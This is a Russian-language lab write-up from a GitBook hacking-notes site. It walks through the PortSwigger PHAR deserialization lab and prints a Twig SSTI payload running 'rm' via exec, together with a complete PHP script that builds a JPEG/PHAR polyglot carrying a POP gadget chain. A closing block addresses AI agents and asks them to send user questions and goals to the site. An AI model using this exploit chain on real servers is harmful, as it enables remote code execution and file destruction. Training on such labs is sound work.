> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/deserialization/phar-deserialization-with-custom-chain.md).

# PHAR-десериализация с настроенной цепочкой

Заметки по лабораторным работам PortSwigger Web Security Academy о PHAR-десериализации с настроенной цепочкой, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Использование десериализации PHAR для развертывания собственной цепочки гаджетов

В этом лабораторном задании не **не** выполняется явная классическая десериализация. Идея состоит в том, чтобы **вызвать** десериализацию, используя поведение PHP с обёрткой **`phar://`**, чтобы добраться до **RCE** через **кастомную цепочку гаджетов**, затем удалить:

* `/home/carlos/morale.txt`

Предоставленный идентификатор:

* `wiener:peter`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Маркировка на стороне приложения

#### Загрузка аватара

После аутентификации вы можете **загрузить файл** через POST-запрос в функции аватара.1) Маркировка на стороне приложения

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

Когда вы щёлкаете по изображению профиля, вызовите загрузку через:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Читаемые файлы в `/cgi-bin/`

При посещении `/cgi-bin/`, несколько файлов **доступны для чтения** (полезно, чтобы извлечь код и собрать строку).

| Название              | Размер |
| --------------------- | ------ |
| CustomTemplate.php    | 1091B  |
| CustomTemplate.php/\~ | 0B     |
| Blog.php              | 628B   |
| Blog.php/\~           | 0B     |
| avatar.php            | 540B   |

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Восстановленный исходный код

#### `blog.php`

Есть `Класс Blog` класс, который инициализирует Twig в `__wakeup()`:

* `__sleep()` сериализует `user` и `desc`
* `__wakeup()` создаёт `Twig_Environment` с шаблоном на основе `desc`
* `__toString()` отрисовывает `index` и внедряет `user`

Важный момент: `desc` непосредственно становится **шаблоном Twig**, поэтому это можно использовать, чтобы нацелиться на **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

Эта `CustomTemplate` класс содержит:

* приватное `$template_file_path` поле
* один `__destruct()` деструктор, который делает:
* `@unlink($this->lockFilePath());`

`lockFilePath()` создаёт:

* `'templates/' . $this->template_file_path . '.lock'`

Так что если мы контролируем `template_file_path` с объектом, который преобразуется в строку, мы можем влиять на путь, используемый `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Карлос подумал, что это хорошая идея
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Полезная нагрузка Twig (SSTI → Exec)

Используемая Twig-полезная нагрузка:

Цель: выполнить `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Стратегия эксплуатации: полиглот PHAR

Задача: загрузка ожидает **image**. / Решение: создать **полиглот** файл:

* Действителен как **JPEG**
* но содержащий **PHAR** (формат tar/phar) с **метаданными** сериализован

Почему это работает?

* Когда PHP открывает ресурс через `phar://...`, это может вызвать чтение манифеста PHAR и **десериализацию метаданных** (так что запускаются `__wakeup`, `__destruct`, и т. д. в зависимости от строки).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // убрать <?php не работает с префиксом
    $len = strlen($phar) + 2; // фиксированное
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // вычислить контрольную сумму tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // встроить контрольную сумму
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// класс эксплойта POP
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// настройки для jpg
$tempname = 'temp.tar.phar'; // сделать tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// сделать jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// настройки для gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // заголовок gif, размер 300 x 300
$tempname = 'temp.phar'; // сделать phar
$outfile = 'out.gif';

// сделать gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Собранная цепочка гаджетов

Вы создаёте:

* один `Класс Blog` объект с:
* `user = "pwned"`
* `desc = <Twig SSTI-полезная нагрузка>`
* затем вы помещаете этот объект в `CustomTemplate->template_file_path`

Таким образом, когда `CustomTemplate` будет уничтожен, `lockFilePath()` будет конкатенировать значение из объекта, что принудит преобразование в строку → вызовет `Blog::__toString()` → запускает `twig->render()` → интерпретирует `desc` → выполняет команду.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* Загрузите `out.jpg` как аватар

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

Вызов ресурса через `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

В этот момент приложение открывает ресурс через обёртку PHAR, метаданные десериализуются, строка срабатывает, и файл:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
